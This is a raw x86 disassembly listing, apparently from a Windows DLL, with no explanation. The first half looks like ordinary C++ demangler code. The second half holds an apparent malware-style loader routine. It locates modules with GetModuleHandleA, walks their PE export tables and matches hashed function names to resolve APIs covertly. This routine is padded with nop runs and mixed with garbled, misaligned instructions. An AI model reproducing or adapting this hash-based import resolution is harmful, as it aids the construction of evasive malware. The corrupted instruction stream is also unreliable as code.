mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67377ec3
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x673791ac
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x56
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x56
cmp eax, 0xff
je 0x67379173
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x54
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x54
cmp edx, 0xff
je 0x6737913a
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x54
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x54
cmp eax, 0xff
jne 0x67376ca9
jmp 0x67377bdd
mov eax, dword [ebx + 0x104]
mov esi, str.construction_vtable_for
lea edi, [ebx + 4]
jmp 0x67377fd0
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a08b1
je 0x673784bc
mov dl, byte [esi]
cmp eax, 0xff
jne 0x67377fb0
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67377fb3
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x673793ab
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x76
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x76
cmp edx, 0xff
je 0x67379372
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x67379339
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x67379300
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x62
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x62
cmp eax, 0xff
je 0x673792c7
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6c
cmp edx, 0xff
je 0x6737ae8c
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x65
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x65
cmp eax, 0xff
jne 0x67377e05
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov edx, 1
jmp 0x67377e26
mov ecx, dword [ebx + 0x118]
mov dword [ebp - 0x70], ecx
mov dword [ebx + 0x118], 0
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 4]
test byte [ebx], 4
je 0x67378151
mov esi, dword [edx]
test esi, esi
jne 0x67378151
cmp dword [edx + 8], 6
je 0x6737b244
mov eax, ebx
call fcn.6737594c
cmp byte [ebx + 0x108], 0x3c
je 0x67378c35
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b132
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x3c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x3c
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 8]
mov eax, ebx
call fcn.6737594c
cmp byte [ebx + 0x108], 0x3e
je 0x67378c0c
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b0fb
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x3e
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x3e
mov esi, dword [ebp - 0x70]
mov dword [ebx + 0x118], esi
jmp case.default.0x6737b2da
mov esi, dword [ebx + 0x114]
test esi, esi
je case.0x6737598c.49
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, dword [esi + 4]
mov eax, dword [eax + 8]
test eax, eax
jne 0x67378210
jmp 0x6737859a
test edx, edx
jle 0x6737859c
dec edx
mov eax, dword [eax + 8]
test eax, eax
je 0x6737859c
cmp dword [eax], 0x2b
je 0x673781fc
jmp case.0x6737598c.49
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x67379a8e
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x7b
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x7b
cmp eax, 0xff
je 0x67379b00
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x70
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x70
cmp edx, 0xff
je 0x67379ac7
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x67378ec7
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x72
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x72
cmp edx, 0xff
je 0x67378e8e
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6d
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6d
cmp eax, 0xff
je 0x67379a57
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x23
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x23
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 4]
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x673a0942
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x70], ecx
mov dword [esp], ecx
call sub.msvcrt.dll_sprintf
xor eax, eax
mov ecx, 0xffffffff
mov edi, dword [ebp - 0x70]
repne scasb al, byte es:[edi]
not ecx
mov edi, ecx
dec edi
je 0x6737848e
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x6c], edi
mov edi, dword [ebp - 0x70]
jmp 0x67378351
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe 0x67378494
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x67378334
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x74]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67378337
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67378d48
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x7e
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x7e
jmp 0x6737786b
test byte [ebx], 0x20
jne 0x67378a9c
mov eax, dword [ebp - 0x6c]
mov edi, dword [eax + 4]
test edi, edi
je 0x6737898e
mov edx, eax
mov eax, dword [ebx + 0x118]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x60]
mov dword [ebx + 0x118], eax
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], 0
mov eax, dword [ebx + 0x114]
mov dword [ebp - 0x54], eax
mov edx, dword [edx + 4]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebp - 0x60]
mov dword [ebx + 0x118], eax
mov esi, dword [ebp - 0x58]
test esi, esi
jne case.default.0x6737b2da
test byte [ebx], 0x20
jne case.default.0x6737b2da
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737ba71
xor eax, eax
mov byte [ebx + edx + 4], 0x20
inc edx
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
test eax, eax
jne case.default.0x6737b2da
mov ecx, dword [ebp - 0x6c]
add ecx, 8
mov edx, dword [ebp - 0x6c]
add edx, 4
mov eax, dword [ebx + 0x118]
mov dword [esp], eax
mov eax, ebx
call fcn.6737dee8
jmp case.default.0x6737b2da
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67378563
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x7d
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x7d
jmp case.default.0x6737b2da
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 4]
mov eax, ebx
call fcn.6737594c
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737928e
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x2d
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x2d
cmp eax, 0xff
je 0x67379255
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x69
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x69
cmp edx, 0xff
je 0x6737921c
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6e
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6e
cmp eax, 0xff
je 0x673791e5
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x2d
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x2d
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 8]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x673784a2
xor eax, eax
test edx, edx
jne case.0x6737598c.49
test eax, eax
je case.0x6737598c.49
mov edx, dword [eax + 4]
test edx, edx
je case.0x6737598c.49
cmp dword [edx], 0x2b
je 0x67378d03
mov eax, dword [esi]
mov dword [ebx + 0x114], eax
mov eax, ebx
call fcn.6737594c
mov dword [ebx + 0x114], esi
jmp case.default.0x6737b2da
mov eax, dword [ebp - 0x6c]
mov esi, dword [eax + 4]
mov edi, dword [eax + 8]
add edi, esi
cmp esi, edi
jae case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
lea edx, [ebx + 4]
mov dword [ebp - 0x70], edx
jmp 0x67378626
mov dl, byte [esi]
cmp dl, 0x5f
je 0x67378634
inc esi
cmp eax, 0xff
je 0x67378648
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
cmp edi, esi
jbe case.default.0x6737b2da
mov edx, edi
sub edx, esi
cmp edx, 3
jg 0x673785fc
mov dl, byte [esi]
inc esi
jmp 0x67378604
lea ecx, [esi + 1]
mov dword [ebp - 0x6c], ecx
cmp byte [esi + 1], 0x5f
je 0x67378e0b
mov esi, ecx
jmp 0x67378604
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x6737860e
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6c], ecx
mov edi, dword [eax + 8]
test ecx, ecx
je case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x70], edx
jmp 0x673786cd
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe case.default.0x6737b2da
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x673786b0
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x70]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x673786b3
cmp eax, 0xff
je 0x6737b6de
lea ecx, [eax + 1]
mov byte [ebx + eax + 4], 0x5f
mov dword [ebx + 0x104], ecx
mov byte [ebx + 0x108], 0x5f
cmp ecx, 0xff
je 0x6737b6a5
lea edx, [ecx + 1]
mov byte [ebx + ecx + 4], 0x46
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x46
cmp edx, 0xff
je 0x6737b66c
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x6737b633
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x6737b5fa
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x63
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x63
cmp eax, 0xff
je 0x6737b5c3
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x74
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x74
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b591
mov byte [ebx + eax + 4], 0x28
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x28
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
add edx, 4
mov eax, ebx
call fcn.6737e204
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b55f
mov byte [ebx + eax + 4], 0x29
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x29
jmp 0x67375b1c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67376d2b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67376d2e
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x66
mov eax, 1
jmp 0x67376cea
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov edx, 1
jmp 0x67376d0b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67375cdf
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x74]
mov dword [esp], ecx
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x2c
mov eax, 1
jmp 0x67375cdc
mov eax, dword [ebx]
and eax, 0x20
jmp 0x67378452
mov eax, dword [ebx + 0x104]
jmp 0x67377221
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b889
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x5f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x5f
cmp edx, 0xff
je 0x6737b850
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x53
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x53
cmp eax, 0xff
je 0x6737b817
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x6737b7de
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x6737ba3a
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
jmp 0x673771e0
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737b9cf
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x3a
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x3a
cmp eax, 0xff
je 0x6737b998
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x3a
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x3a
jmp 0x6737786b
mov ecx, dword [ebp - 0x6c]
add ecx, 8
mov edx, dword [ebp - 0x6c]
add edx, 4
mov eax, dword [ebx + 0x118]
mov dword [esp], eax
mov eax, ebx
call fcn.6737dee8
jmp 0x673783cf
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67377e8a
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67377e87
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov edx, 1
jmp 0x67377e67
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x66
mov eax, 1
jmp 0x67377e46
mov edx, dword [edx + 4]
mov esi, dword [edx + 0x10]
cmp esi, 1
jb 0x67375d04
cmp esi, 6
jbe 0x6737b2ae
cmp esi, 7
jne 0x67375d04
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 8]
mov edi, dword [edx]
test edi, edi
jne 0x67375d04
cmp dword [edx + 8], 1
jne 0x67375d04
cmp eax, 0x35
jne 0x67375d04
mov eax, dword [edx + 4]
mov al, byte [eax]
cmp al, 0x30
je 0x6737bc3f
cmp al, 0x31
jne 0x67375d04
mov edx, str.true
mov eax, ebx
call fcn.673755c8
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b966
mov byte [ebx + eax + 4], 0x20
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
jmp 0x673781ab
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737ba08
mov byte [ebx + eax + 4], 0x20
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
jmp 0x6737816b
cmp edx, 0xff
je 0x6737b934
mov byte [ebx + edx + 4], 0x5b
inc edx
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x5b
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b3d9
mov byte [ebx + eax + 4], 0x5d
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x5d
jmp case.default.0x6737b2da
cmp edx, 0xff
je 0x6737b8c2
mov byte [ebx + edx + 4], 0x2d
inc edx
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x2d
jmp 0x67375d69
mov byte [ebx + esi + 4], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], esi
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor esi, esi
jmp 0x67377328
mov eax, dword [ebx + 0x120]
test eax, eax
jg 0x67378d1d
jmp 0x67378d25
cmp dword [edx], 0x2b
jne case.0x6737598c.49
test eax, eax
jle 0x67378d25
dec eax
mov edx, dword [edx + 8]
test edx, edx
jne 0x67378d10
test eax, eax
jne case.0x6737598c.49
test edx, edx
je case.0x6737598c.49
mov edx, dword [edx + 4]
test edx, edx
jne 0x673785c0
jmp case.0x6737598c.49
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x673783af
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x6737646f
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov ecx, 1
xor eax, eax
mov dl, byte [ebp - 0x8c]
jmp 0x67376e99
mov ebx, dword [ebp - 0x80]
mov dword [ebx + 0x11c], 1
jmp case.default.0x6737b2da
cmp byte [esi + 2], 0x55
je 0x6737b717
mov esi, dword [ebp - 0x6c]
jmp 0x67378604
mov edi, 0x673a0926
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x70
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x673a3a1c]
call esi
mov edi, eax
push dword [0x673a3a20]
call esi
call esi
mov dword [esp + 0x18], eax
mov ecx, dword [ebx + 0x1c]
mov eax, dword [edi + 0x3c]
mov eax, dword [edi + eax + 0x78]
mov edx, dword [edi + eax + 0x20]
add edx, edi
mov dword [esp + 0x10], edx
mov edx, dword [edi + eax + 0x1c]
mov dword [esp + 0x14], edx
mov dword [esp + 8], edi
mov eax, dword [edi + eax + 0x24]
mov dword [esp + 0x1c], eax
mov dword [esp + 4], ecx
mov eax, dword [ecx + 0x100]
mov dword [esp + 0xc], eax
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov edi, dword [eax + ebx*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67378ed1
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx esi, byte [edi]
aaa
movzx esi, si
add ecx, esi
inc edi
dec eax
jne 0x67378ec2
cmp ecx, dword [esp + 0xc]
je 0x67378eda
inc ebx
jmp 0x67378e92
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x1c]
add eax, ecx
movzx eax, word [eax + ebx*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x11c]
mov dword [esp + 0x10], eax
inc esp
and al, 0x10
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67378f71
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67378f62
cmp ecx, dword [esp + 0x10]
dec esp
and al, 0x10
je 0x67378f7a
inc esi
jmp 0x67378f32
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x1c]
add eax, ecx
movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x118]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
push esp
add dword [eax], esp
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379011
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379002
cmp ecx, dword [esp + 0x10]
je 0x6737901a
inc esi
jmp 0x67378fd2
mov eax, dword [esp + 8]
add dword [esp + 0x24], eax
or byte [ecx], al
inc esp
and al, 0x24
mov ecx, dword [esp + 0x14]
add ecx, eax
mov edx, dword [esp + 0x1c]
add edx, eax
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
push esp
and al, 0xc
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 0x18]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x673790b1
mov ecx, dword [esp + 4]
and al, 4
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x673790a2
cmp ecx, dword [esp + 0x10]
je 0x673790ba
inc esi
jmp 0x67379072
mov ecx, dword [esp + 8]
add dword [esp + 0x4c], ecx
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
and al, 0x14
add edx, eax
mov edi, dword [esp + 0x1c]
add edi, eax
movzx eax, word [edi + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x10c]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
push esp
and al, 0x14
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379151
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379142
cmp ecx, dword [esp + 0x10]
je 0x6737915a
inc esi
jmp 0x67379112
mov ecx, dword [esp + 8]
add dword [esp + 0x2c], ecx
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x1c]
add eax, ecx
